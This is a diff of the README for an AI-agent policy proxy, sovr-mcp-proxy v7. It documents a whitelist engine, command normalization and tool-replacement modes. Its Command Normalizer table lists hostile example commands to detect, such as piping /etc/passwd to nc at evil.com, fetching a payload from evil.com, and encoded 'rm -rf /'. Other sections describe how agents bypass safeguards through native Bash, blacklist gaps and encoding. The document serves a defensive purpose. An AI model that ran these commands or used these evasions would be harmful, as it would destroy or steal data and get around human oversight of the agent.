sovr-mcp-proxy 6.0.1 → 7.0.0

package/README.md

@@ -4,15 +4,31 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
 
 > Not a security product. Not a firewall. A **decision accountability layer** that makes AI trust verifiable.
 
-## What's New in v6.0.0
+[![npm version](https://img.shields.io/npm/v/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)
+[![Weekly Downloads](https://img.shields.io/npm/dw/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)
+[![License: BSL-1.1](https://img.shields.io/badge/License-BSL--1.1-blue.svg)](LICENSE)
 
-- **Forced Login**: API key is validated against the SOVR cloud on startup. Invalid or expired keys are rejected with clear instructions to register/login.
-- **Billing Reporter**: Every `gate.allow`, `gate.block`, and `gate.escalate` event is batched and reported to the SOVR metering backend (10s flush interval, 500-event buffer).
-- **API Key Mandatory**: `SOVR_API_KEY` is now required. The proxy will not start without a valid key.
-- **All previous versions deprecated**: Only v6.0.0 is supported. Run `npm i sovr-mcp-proxy@latest` to upgrade.
-- **Version Check Enforcement**: Startup version check against `api.sovr.inc` — outdated versions are force-exited with upgrade instructions.
-- **Enhanced Audit Pre-Filter**: Improved sanitization of malformed MCP messages before they enter the audit chain.
-- **Tier-Aware Tool Filtering**: `tools/list` responses are now filtered based on the authenticated tier, ensuring agents only see tools they have access to.
+---
+
+## What's New in v7.0.0
+
+Community feedback (r/LocalLLaMA, r/ClaudeAI) identified three critical gaps — v7 fixes all of them:
+
+| Problem | v6 Status | v7 Solution |
+|---------|-----------|-------------|
+| **Bypass Attack** — LLM ignores SOVR, uses native Bash directly | ❌ Unprotected | ✅ `--mode=exclusive` replaces native tools |
+| **Blacklist Evasion** — `find / -delete` bypasses `rm -rf` block | ❌ Blacklist only | ✅ Whitelist engine (DEFAULT DENY) |
+| **Encoding Tricks** — `bash -c`, base64, hex bypass detection | ❌ No normalization | ✅ Command normalizer unwraps all layers |
+
+### New Features
+
+- **`--mode=exclusive`** — Tool Replacement mode. SOVR replaces native Bash/shell tools in the MCP `tools/list` response. The LLM has **no way to bypass** the policy engine.
+- **`--whitelist=preset|path`** — Whitelist engine with DEFAULT DENY. Built-in presets: `readonly`, `developer`, `production`.
+- **Command Normalizer** — Unwraps `bash -c`, detects base64/hex encoding, identifies destructive equivalents (`find / -delete` → `rm -rf`).
+- **Claude Code Hooks** — `npx sovr-mcp-proxy hooks install` adds PreToolUse hooks for native interception without MCP proxy.
+- **4 Security Modes** — `monitor` | `advisory` | `enforce` (default) | `exclusive`
+
+---
 
 ## Why MCP Proxy?
 
@@ -24,237 +40,444 @@ The **Responsibility Layer** for AI agents. SOVR sits between your AI and its ac
 
 As a Responsibility Layer, SOVR requires a **non-bypassable** architecture. The MCP Proxy intercepts every `tools/call` and `tools/list` message at the protocol level. No tool call reaches execution without passing through the policy engine first.
 
+---
+
 ## Quick Start
 
-### stdio Mode (default)
+```bash
+# Basic — enforce mode (default), policy engine active
+npx sovr-mcp-proxy --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp"
+
+# Recommended — exclusive mode + whitelist
+npx sovr-mcp-proxy \
+  --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp" \
+  --mode=exclusive \
+  --whitelist=developer
+
+# Claude Code users — install hooks for native interception
+npx sovr-mcp-proxy hooks install --fail-closed
+```
+
+### Platform-Specific Setup
+
+```bash
+# Claude Code
+npx sovr-mcp-proxy init --claude-code
+
+# Cursor
+npx sovr-mcp-proxy init --cursor
+
+# Windsurf
+npx sovr-mcp-proxy init --windsurf
+
+# Continue.dev
+npx sovr-mcp-proxy init --continue
+
+# OpenAI Agents SDK
+npx sovr-mcp-proxy init --openai-agents
+
+# GPT Codex
+npx sovr-mcp-proxy init --codex
+```
+
+### MCP Client Configuration
 
 ```json
 {
   "mcpServers": {
-    "sovr": {
+    "filesystem": {
       "command": "npx",
-      "args": ["-y", "sovr-mcp-proxy"],
-      "env": {
-        "SOVR_API_KEY": "sovr_sk_...",
-        "SOVR_ENDPOINT": "https://your-sovr-instance.com"
-      }
+      "args": [
+        "-y", "sovr-mcp-proxy",
+        "--mode=exclusive",
+        "--whitelist=developer",
+        "--upstream", "npx -y @modelcontextprotocol/server-filesystem /tmp"
+      ]
     }
   }
 }
 ```
 
-### SSE Mode
+---
 
-Expose the proxy as an HTTP server for remote MCP clients:
+## Security Modes (NEW in v7)
 
-```bash
-npx -y sovr-mcp-proxy --sse 3100
-```
+| Mode | Behavior | Use Case |
+|------|----------|----------|
+| `monitor` | Log only, never block | Development / debugging |
+| `advisory` | Warn but allow | Gradual rollout |
+| `enforce` | Block violations (default) | Production |
+| `exclusive` | **Replace native tools** — LLM can only execute through SOVR | Maximum security |
+
+### Exclusive Mode
+
+In `--mode=exclusive`, SOVR intercepts the MCP `tools/list` response and replaces dangerous native tools (Bash, shell, exec) with SOVR-wrapped equivalents. The LLM has **no way to bypass** the policy engine because the original tools no longer exist in its tool list.
 
-Endpoints:
-- `GET /sse` — Event stream (returns session message URL)
-- `POST /message?sessionId=<id>` — Send JSON-RPC messages
-- `GET /health` — Health check
+---
 
-### Transparent Proxy (Downstream Interception)
+## Whitelist Engine (NEW in v7)
 
-Route tool calls through SOVR to any downstream MCP server:
+**DEFAULT DENY** — only explicitly allowed commands can execute.
+
+### Built-in Presets
 
 ```bash
-# stdio downstream
-npx -y sovr-mcp-proxy --upstream "npx -y @modelcontextprotocol/server-filesystem /tmp"
+# Read-only: only ls, cat, grep, find, git status
+npx sovr-mcp-proxy --upstream "..." --whitelist=readonly
 
-# SSE downstream
-SOVR_DOWNSTREAM_URL=http://localhost:4000/sse npx -y sovr-mcp-proxy
+# Developer: read + write + git + npm/pnpm (no rm -rf, no sudo)
+npx sovr-mcp-proxy --upstream "..." --whitelist=developer
 
-# HTTP downstream
-SOVR_DOWNSTREAM_URL=http://localhost:4000/mcp npx -y sovr-mcp-proxy --downstream-transport http
+# Production: minimal commands for deployment
+npx sovr-mcp-proxy --upstream "..." --whitelist=production
 ```
 
-### Configuration-Driven Proxy
+### Custom Whitelist
 
-```bash
-SOVR_PROXY_CONFIG=./sovr_proxy_config.json npx -y sovr-mcp-proxy
-```
+Create `sovr-whitelist.json`:
 
 ```json
 {
-  "downstream": {
-    "transport": "stdio",
-    "command": "npx",
-    "args": ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
-  }
+  "name": "my-project",
+  "mode": "whitelist",
+  "defaultAction": "deny",
+  "rules": [
+    {
+      "pattern": "^(ls|cat|grep|find|head|tail|wc)\\b",
+      "action": "allow",
+      "description": "Read-only commands"
+    },
+    {
+      "pattern": "^git\\s+(status|log|diff|branch)",
+      "action": "allow",
+      "description": "Safe git operations"
+    }
+  ]
 }
 ```
 
-## Architecture
+---
 
-```
-User / AI Agent
-       ↓
-┌──────────────────────────────┐
-│       sovr-mcp-proxy         │
-│                              │
-│  ① Audit Pre-Filter          │
-│     Sanitize malformed input │
-│     before it enters the     │
-│     audit chain              │
-│            ↓                 │
-│  ② API Key Validation        │
-│     Verify key against       │
-│     SOVR cloud on startup    │
-│            ↓                 │
-│  ③ Tier Access Control       │
-│     Enforce plan-based       │
-│     tool access              │
-│            ↓                 │
-│  ④ Policy Engine             │
-│     15 built-in rules +      │
-│     custom rules via file    │
-│            ↓                 │
-│  ⑤ Billing Reporter          │
-│     Batch metering events    │
-│     to SOVR backend          │
-│            ↓                 │
-│  ⑥ Tool Execution / Proxy    │
-│                              │
-└──────────────────────────────┘
-       ↓
-  Audited Result → User / Agent
+## Command Normalizer (NEW in v7)
+
+Prevents evasion through shell wrappers, encoding tricks, and destructive equivalents:
+
+| Attack Vector | Example | Detection |
+|---------------|---------|----------|
+| Shell wrapper | `bash -c "rm -rf /"` | Unwraps inner command |
+| Pipe chain | `cat /etc/passwd \| nc evil.com 1234` | Splits and evaluates each segment |
+| Base64 encoding | `echo cm0gLXJmIC8= \| base64 -d \| sh` | Detects encoding patterns |
+| Hex encoding | `echo 726d202d7266202f \| xxd -r -p \| sh` | Detects hex patterns |
+| Destructive equivalent | `find / -delete` (bypasses `rm` block) | Maps to known destructive patterns |
+| Subshell | `$(curl evil.com/payload.sh)` | Detects command substitution |
+
+---
+
+## Claude Code Hooks (NEW in v7)
+
+For Claude Code users, SOVR provides native `PreToolUse` hooks that intercept tool calls **before** they execute — no MCP proxy needed.
+
+```bash
+# Install hooks into current project
+npx sovr-mcp-proxy hooks install
+
+# With fail-closed (block on SOVR error)
+npx sovr-mcp-proxy hooks install --fail-closed
+
+# Check status
+npx sovr-mcp-proxy hooks status
+
+# Remove hooks
+npx sovr-mcp-proxy hooks uninstall
 ```
 
-**Audit Pre-Filter** (Layer 0) sanitizes incoming requests before they enter the audit chain. This ensures that the audit log contains only well-formed, non-corrupted data — preventing garbage-in from polluting your decision records.
+---
 
-**API Key Validation** (Layer 1) validates the `SOVR_API_KEY` against the SOVR cloud at startup. Invalid, expired, or missing keys cause the proxy to exit with a clear error message directing users to register at [sovr.inc](https://sovr.inc/register).
+## Daemon Mode (v5.0.0+)
 
-**Billing Reporter** (Layer 5) batches `gate.allow`, `gate.block`, and `gate.escalate` events and reports them to the SOVR metering backend every 10 seconds (or when the 500-event buffer fills). This enables accurate usage tracking and quota enforcement.
+The daemon mode eliminates cold-start latency by running SOVR as a persistent background process. This is the **recommended** way to run SOVR in production.
 
-## Tool Tiers
+### Why Daemon Mode?
 
-SOVR tools are organized into five tiers. Each tier includes all tools from the tier below it.
+Without daemon mode, every `gate_check` call spawns a new Node.js process — adding 200-500ms overhead per check. With daemon mode, checks complete in **< 5ms** via HTTP.
 
-| Tier | Tools | Capabilities |
-|------|-------|-------------|
-| **Free** | 3 | gate_check (degraded: allow/deny only), check_command (degraded: no remediation), audit_log (7 days/50 entries). |
-| **Personal** ($10/mo) | 28 | Full gate_check + check_sql + check_http + request_approval + submit_receipt + add_rule + health monitoring |
-| **Starter** ($300/mo) | 48 | + Kill-switch, budget tracking, compliance, audit replay, trust bundles |
-| **Pro** ($2,000/mo) | 98 | + Cognitive analysis, model ops, regression testing, batch operations |
-| **Enterprise** ($15,000/mo) | 272 | + Multi-tenant isolation, custom integrations, full platform access |
+| Mode | Latency per check | Success rate | Resource usage |
+|------|-------------------|--------------|----------------|
+| Cold start (legacy) | 200-500ms | ~56% (fail-open) | High (new process each time) |
+| **Daemon mode** | **< 5ms** | **100%** | Low (single persistent process) |
 
-> **Important**: Starting from v6.0.0, all tiers require a valid `SOVR_API_KEY`. Free tier keys can be obtained at [sovr.inc/register](https://sovr.inc/register).
+### Start the Daemon
 
-For the complete tool reference, see the [SOVR Documentation](https://sovr.ai/docs/tools).
+```bash
+# Start daemon (background process)
+npx sovr-mcp-proxy daemon start
 
-## Policy Engine
+# Start with custom port
+npx sovr-mcp-proxy daemon start --port 3100
 
-15 built-in rules covering:
+# Start in fail-closed mode (blocks on error instead of allowing)
+SOVR_FAIL_MODE=closed npx sovr-mcp-proxy daemon start
 
-- **Irreversible action gating** — payment, delete, and deploy operations require explicit approval
-- **Kill-switch enforcement** — emergency halt propagation across all connected agents
-- **Budget and quota limits** — prevent runaway costs from autonomous operations
-- **Rate limiting** — throttle high-frequency tool calls
-- **Time-based restrictions** — enforce operational windows
+# Check daemon status
+npx sovr-mcp-proxy daemon status
 
-Custom rules can be loaded via `SOVR_RULES_FILE` (JSON) or managed at runtime through the rule management tools.
+# Stop daemon
+npx sovr-mcp-proxy daemon stop
+```
 
-## TokenManager
+### Daemon Status Output
 
-Automatic credential refresh for downstream connections:
+```
+╔══════════════════════════════════════╗
+║     SOVR DAEMON STATUS               ║
+╠══════════════════════════════════════╣
+║ Status:    ● RUNNING                 ║
+║ PID:       12345                     ║
+║ Port:      3100                      ║
+║ Uptime:    2h 15m                    ║
+║ Checks:    1,247 total               ║
+║ Success:   99.8%                     ║
+║ Avg Lat:   0.9ms                     ║
+╚══════════════════════════════════════╝
+```
 
-- **Vault strategy** — Fetch tokens from HashiCorp Vault (or compatible)
-- **OAuth2 strategy** — Refresh via standard `refresh_token` grant
-- Configurable refresh intervals with automatic scheduling
-- Graceful shutdown with timer cleanup
+### Daemon API Endpoints
 
-## Programmable API
+The daemon exposes an HTTP API for integration:
 
-For advanced integrations, import `McpProxy` directly:
+| Endpoint | Method | Description |
+|----------|--------|-------------|
+| `/health` | GET | Health check — returns `{ status, uptime, version }` |
+| `/gate-check` | POST | Evaluate an action against the policy engine |
+| `/stats` | GET | Full statistics — checks, success rate, latency |
 
-```typescript
-import McpProxy from "sovr-mcp-proxy";
+#### Gate Check Request
 
-const proxy = new McpProxy({ apiKey: "sovr_sk_..." });
-proxy.on("decision", (event) => {
-  console.log(event.action, event.verdict);
-});
+```bash
+curl -X POST http://localhost:3100/gate-check \
+  -H "Content-Type: application/json" \
+  -d '{
+    "action": "execute_command",
+    "resource": "rm -rf /important",
+    "context": { "user": "agent-1" }
+  }'
 ```
 
-## Environment Variables
+#### Gate Check Response
 
-| Variable | Description | Default |
-|----------|-------------|--------|
-| `SOVR_API_KEY` | API key for SOVR access. **Required** starting v6.0.0. Get a key at [sovr.inc](https://sovr.inc/register) | — |
-| `SOVR_ENDPOINT` | Custom SOVR endpoint | `https://sovr-ai-mkzgqqeh.manus.space` |
-| `SOVR_TRANSPORT` | Transport: `stdio` or `sse` | `stdio` |
-| `SOVR_SSE_PORT` | Port for SSE server | `3100` |
-| `SOVR_RULES_FILE` | Path to custom rules JSON | — |
-| `SOVR_TIER` | Access tier | `free` |
-| `SOVR_PROXY_CONFIG` | Path to proxy configuration JSON | — |
-| `SOVR_VAULT_URL` | Vault URL for TokenManager | — |
-| `SOVR_VAULT_API_KEY` | Vault API key | — |
-| `SOVR_DOWNSTREAM_URL` | Downstream MCP server URL | — |
+```json
+{
+  "decision": "BLOCK",
+  "reason": "Destructive command blocked by policy",
+  "risk_score": 95,
+  "matched_rule": "block_destructive_commands",
+  "timestamp": "2026-02-25T00:15:30.000Z",
+  "latency_ms": 0.8
+}
+```
 
-## Migration from v5.x
+### Fail Mode Configuration
 
-Update your dependency:
+| Mode | Behavior on Error | Use Case |
+|------|-------------------|----------|
+| `open` (default) | Allow action if SOVR check fails | Development, non-critical workflows |
+| `closed` | **Block** action if SOVR check fails | Production, high-security environments |
 
 ```bash
-npm i sovr-mcp-proxy@latest
+# Set via environment variable
+export SOVR_FAIL_MODE=closed
+npx sovr-mcp-proxy daemon start
+
+# Or in .env file
+echo "SOVR_FAIL_MODE=closed" >> .env
 ```
 
-**Breaking changes in v6.0.0:**
+### Success Rate Monitoring
 
-1. `SOVR_API_KEY` is now **mandatory**. The proxy will not start without a valid key.
-2. Startup version check is enforced — outdated local versions will be force-exited.
-3. Billing events are automatically reported to the SOVR metering backend.
+The daemon automatically monitors success rate and emits warnings:
 
-If you are migrating from `sovr-mcp-server`, change one line in your MCP config:
+- **≥ 95%**: Normal operation
+- **< 95%**: Warning logged — `[SOVR ALERT] Success rate dropped below 95%`
+- **< 80%**: Critical alert — consider restarting daemon
 
-```diff
-  "mcpServers": {
-    "sovr": {
--     "args": ["sovr-mcp-server"],
-+     "args": ["-y", "sovr-mcp-proxy"],
-    }
-  }
+---
+
+## Git Hook Integration
+
+SOVR integrates with git hooks to verify every commit operation:
+
+```bash
+# Install git hooks
+npx sovr-mcp-proxy init --claude-code  # or your platform
+
+# The hook (sovr-gate.js) automatically:
+# 1. Checks if daemon is running → uses HTTP (fast path, <5ms)
+# 2. Falls back to MCP cold start if daemon unavailable
+# 3. Logs all decisions to ~/.sovr/audit/
 ```
 
-All existing environment variables and tool interfaces remain compatible.
+### Hook Flow
 
-## Changelog
+```
+git commit → pre-commit hook → sovr-gate.js
+                                    │
+                        ┌───────────┴───────────┐
+                        │                       │
+                   Daemon running?          Daemon down?
+                        │                       │
+                   HTTP /gate-check         MCP cold start
+                   (< 5ms)                  (200-500ms)
+                        │                       │
+                        └───────────┬───────────┘
+                                    │
+                              Policy Engine
+                                    │
+                        ┌───────────┴───────────┐
+                        │           │           │
+                      ALLOW      ESCALATE     BLOCK
+                        │           │           │
+                     proceed    human review   abort
+```
 
-### v6.0.0 (2026-02-26)
+---
 
-- **BREAKING: API Key Mandatory** — `SOVR_API_KEY` is now required at startup. The proxy exits with a clear error if no valid key is provided.
-- **Billing Reporter** — Every `gate.allow`, `gate.block`, and `gate.escalate` event is batched (10s interval / 500-event buffer) and reported to the SOVR metering backend.
-- **Version Check Enforcement** — Startup check against `api.sovr.inc/api/sovr/v1/version/check`. Outdated versions trigger `process.exit(1)` with upgrade instructions.
-- **Tier-Aware Tool Filtering** — `tools/list` responses filtered by authenticated tier.
-- **Enhanced Audit Pre-Filter** — Improved sanitization for malformed MCP messages.
-- **All previous versions deprecated** — Only v6.0.0 is supported.
+## Policy Engine
 
-### v5.0.0 (2026-02-25)
+The built-in policy engine evaluates actions against configurable rules:
+
+### Default Rules
+
+| Rule | Action | Resource Pattern | Decision |
+|------|--------|-----------------|----------|
+| Block destructive commands | `execute_command` | `rm -rf`, `DROP TABLE`, `format` | BLOCK |
+| Block file deletion | `delete_file` | `*` | BLOCK |
+| Escalate force push | `execute_command` | `git push --force` | ESCALATE |
+| Escalate env access | `read_file` | `.env`, `secrets` | ESCALATE |
+
+### Custom Policies
+
+```yaml
+# ~/.sovr/policies/custom.yaml
+rules:
+  - name: block_production_deploy
+    action: execute_command
+    resource_pattern: "deploy.*production"
+    decision: BLOCK
+    reason: "Production deployments require manual approval"
+    
+  - name: escalate_database_writes
+    action: execute_command
+    resource_pattern: "INSERT|UPDATE|DELETE"
+    decision: ESCALATE
+    reason: "Database writes need human review"
+```
 
-- **Forced Login** — API key validated against SOVR cloud on startup.
-- **Billing Reporter** — Initial implementation of event batching and metering.
-- **All 33 previous versions deprecated**.
+---
 
-### v2.5.5 (2026-02-24)
+## Audit Trail
 
-- **Fact Cross-Reference Layer v2.0** — Replaced LLM-as-judge hallucination detection with deterministic 4-tier verification (DB queries, Schema validation, Authoritative sources, Human escalation).
-- **HonestyLabeler** — Every verification result now carries a transparency label.
-- **Upstream Readiness Detection** — `--upstream` mode now properly waits for upstream process.
-- **Message Buffering** — Agent messages buffered during upstream startup.
-- **7 New Tools** — `sovr_billing_cron`, `sovr_tenant_keys`, `sovr_vector_db`, `sovr_prometheus`, `sovr_evidence_archive`, `sovr_evidence_cli`, `sovr_environment`.
-- **Tool Count** — 286 → 293 Enterprise tier tools.
+Every decision is logged to `~/.sovr/audit/`:
 
-### v2.5.4
+```
+~/.sovr/audit/
+├── 2026-02-25.jsonl      ← Daily audit log
+├── 2026-02-24.jsonl
+└── stats.json            ← Aggregate statistics
+```
+
+Each entry contains:
+
+```json
+{
+  "timestamp": "2026-02-25T00:15:30.000Z",
+  "action": "execute_command",
+  "resource": "git push --force origin main",
+  "decision": "ESCALATE",
+  "risk_score": 90,
+  "matched_rule": "escalate_force_push",
+  "latency_ms": 0.9,
+  "session_id": "abc123",
+  "daemon_mode": true
+}
+```
+
+---
+
+## Supported Platforms
+
+| Platform | Init Command | Config Format | Status |
+|----------|-------------|---------------|--------|
+| Claude Code | `--claude-code` | JSON | ✅ Stable |
+| Cursor | `--cursor` | JSON | ✅ Stable |
+| Windsurf | `--windsurf` | JSON | ✅ Stable |
+| Continue.dev | `--continue` | JSON | ✅ Stable |
+| OpenAI Agents SDK | `--openai-agents` | Python | ✅ Stable |
+| GPT Codex | `--codex` | TOML | ✅ Stable |
+
+---
 
-- Multi-transport support (stdio, SSE, Streamable HTTP)
-- Configuration-driven proxy mode
-- TokenManager with Vault and OAuth2 strategies
+## Architecture (v7)
+
+```
+┌─────────────────────────────────────────────┐
+│                AI Agent                      │
+│  (Claude Code / Cursor / Windsurf / etc.)   │
+└──────────────────┬──────────────────────────┘
+                   │ MCP Protocol (stdio/SSE/HTTP)
+                   ▼
+┌─────────────────────────────────────────────┐
+│            SOVR MCP Proxy v7                 │
+│  ┌─────────────────────────────────────┐    │
+│  │  1. Command Normalizer              │    │
+│  │     Unwrap bash -c, detect encoding │    │
+│  ├─────────────────────────────────────┤    │
+│  │  2. Whitelist Engine                │    │
+│  │     DEFAULT DENY, preset/custom     │    │
+│  ├─────────────────────────────────────┤    │
+│  │  3. Policy Engine                   │    │
+│  │     ALLOW / BLOCK / ESCALATE        │    │
+│  ├─────────────────────────────────────┤    │
+│  │  4. Tool Replacement (exclusive)    │    │
+│  │     Replace native tools in list    │    │
+│  ├─────────────────────────────────────┤    │
+│  │  5. Audit Trail                     │    │
+│  │     Every decision → JSONL + stats  │    │
+│  └─────────────────────────────────────┘    │
+│                                              │
+│  Mode: exclusive | enforce | advisory |      │
+│        monitor                               │
+└──────────────────┬──────────────────────────┘
+                   │ MCP Protocol (forwarded)
+                   ▼
+┌─────────────────────────────────────────────┐
+│           Upstream MCP Server                │
+│  (filesystem / database / API / etc.)       │
+└─────────────────────────────────────────────┘
+```
+
+---
+
+## Environment Variables
+
+| Variable | Default | Description |
+|----------|---------|-------------|
+| `SOVR_FAIL_MODE` | `open` | `open` = allow on error, `closed` = block on error |
+| `SOVR_DAEMON_PORT` | `3100` | HTTP port for daemon mode |
+| `SOVR_AUDIT_DIR` | `~/.sovr/audit` | Directory for audit logs |
+| `SOVR_LOG_LEVEL` | `info` | Log verbosity: `debug`, `info`, `warn`, `error` |
+| `SOVR_API_KEY` | — | **Required.** API key for authentication and billing. Get one at [sovr.inc/dashboard](https://sovr.inc/dashboard/api-keys) |
+
+---
 
 ## License
 
-BSL-1.1 (Business Source License 1.1) — SOVR AI
+[BSL-1.1](LICENSE) — Business Source License 1.1
+
+---
+
+## Links
 
-The Licensed Work will be made available under Apache License 2.0 four years from each version's publication date. See [LICENSE](./LICENSE) for full terms.
+- **Homepage**: [sovr.inc](https://sovr.inc)
+- **Repository**: [github.com/xie38388/sovr](https://github.com/xie38388/sovr)
+- **npm**: [npmjs.com/package/sovr-mcp-proxy](https://www.npmjs.com/package/sovr-mcp-proxy)
+- **Documentation**: [docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md](https://github.com/xie38388/sovr/blob/main/docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md)